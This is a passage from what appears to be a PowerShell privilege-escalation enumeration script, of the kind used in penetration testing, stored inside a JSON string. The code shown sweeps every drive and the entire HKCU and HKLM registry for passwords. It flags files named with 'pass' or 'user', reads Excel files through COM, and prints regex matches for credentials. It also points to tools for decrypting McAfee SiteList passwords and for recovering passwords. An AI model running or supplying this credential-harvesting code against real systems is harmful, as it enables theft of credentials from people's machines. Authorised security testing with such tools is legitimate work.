-ForegroundColor Blue \"=========|| Recycle Bin TIP:\"\nWrite-Host \"If credentials are found in the recycle bin, tool from nirsoft may assist: http://www.nirsoft.net/password_recovery_tools.html\" -ForegroundColor Yellow\n\n######################## File/Folder Check ########################\n\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========||  Password Check in Files/Folders\"\n\n# Looking through the entire computer for passwords\n# Also looks for MCaffee site list while looping through the drives.\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| Password Check. Starting at root of each drive. This will take some time. Like, grab a coffee or tea kinda time.\"\nWrite-Host -ForegroundColor Blue \"=========|| Looking through each drive, searching for $fileExtensions\"\n# Check if the Excel com object is installed, if so, look through files, if not, just notate if a file has \"user\" or \"password in name\"\ntry { \n  New-Object -ComObject Excel.Application | Out-Null\n  $ReadExcel = $true \n}\ncatch {\n  $ReadExcel = $false\n  if($Excel) {\n    Write-Host -ForegroundColor Yellow \"Host does not have Excel COM object, will still point out excel files when found.\"  \n  }\n}\n$Drives.Root | ForEach-Object {\n  $Drive = $_\n  Get-ChildItem $Drive -Recurse -Include $fileExtensions -ErrorAction SilentlyContinue -Force | ForEach-Object {\n    $path = $_\n    #Exclude files/folders with 'lang' in the name\n    if ($Path.FullName | select-string \"(?i).*lang.*\"){\n      #Write-Host \"$($_.FullName) found!\" -ForegroundColor red\n    }\n    if($Path.FullName | Select-String \"(?i).:\\\\.*\\\\.*Pass.*\"){\n      write-host -ForegroundColor Blue \"$($path.FullName) contains the word 'pass'\"\n    }\n    if($Path.FullName | Select-String \".:\\\\.*\\\\.*user.*\" ){\n      Write-Host -ForegroundColor Blue \"$($path.FullName) contains the word 'user' -excluding the 'users' directory\"\n    }\n    # If path name ends with common excel extensions\n    elseif ($Path.FullName | Select-String \".*\\.xls\",\".*\\.xlsm\",\".*\\.xlsx\") {\n      if ($ReadExcel -and $Excel) {\n        Search-Excel -Source $Path.FullName -SearchText \"user\"\n        Search-Excel -Source $Path.FullName -SearchText \"pass\"\n      }\n    }\n    else {\n      if ($path.Length -gt 0) {\n        # Write-Host -ForegroundColor Blue \"Path name matches extension search: $path\"\n      }\n      if ($path.FullName | Select-String \"(?i).*SiteList\\.xml\") {\n        Write-Host \"Possible MCaffee Site List Found: $($_.FullName)\"\n        Write-Host \"Just going to leave this here: https://github.com/funoverip/mcafee-sitelist-pwd-decryption\" -ForegroundColor Yellow\n      }\n      $regexSearch.keys | ForEach-Object {\n        $passwordFound = Get-Content $path.FullName -ErrorAction SilentlyContinue -Force | Select-String $regexSearch[$_] -Context 1, 1\n        if ($passwordFound) {\n          Write-Host \"Possible Password found: $_\" -ForegroundColor Yellow\n          Write-Host $Path.FullName\n          Write-Host -ForegroundColor Blue \"$_ triggered\"\n          Write-Host $passwordFound -ForegroundColor Red\n        }\n      }\n    }  \n  }\n}\n\n######################## Registry Password Check ########################\n\nWrite-Host -ForegroundColor Blue \"=========|| Registry Password Check\"\n# Looking through the entire registry for passwords\nWrite-Host \"This will take some time. Won't you have a pepsi?\"\n$regPath = @(\"registry::\\HKEY_CURRENT_USER\\\", \"registry::\\HKEY_LOCAL_MACHINE\\\")\n# Search for the string in registry values and properties\nforeach ($r in $regPath) {\n(Get-ChildItem -Path $r -Recurse -Force -ErrorAction SilentlyContinue) | ForEach-Object {\n    $property = $_.property\n    $Name = $_.Name\n    $property | ForEach-Object {\n      $Prop = $_\n      $regexSearch.keys | ForEach-Object {\n        $value = $regexSearch[$_]\n        if ($Prop | Where-Object { $_ -like $value }) {\n          Write-Host \"Possible Password Found: $Name\\$Prop\"\n          Write-Host \"Key: $_\" -ForegroundColor Red\n        }\n        $Prop | ForEach-Object {   \n          $propValue = (Get-ItemProperty \"registry::$Name\").$_\n          if ($propValue | Where-Object { $_ -like $Value }) {\n            Write-Host \"Possible Password Found: $name\\$_ $propValue\"\n          }\n        }\n      }\n    }\n  }\n  if ($TimeStamp) { TimeElapsed }\n  Write-Host \"Finished $r\"\n}\n"
  }
]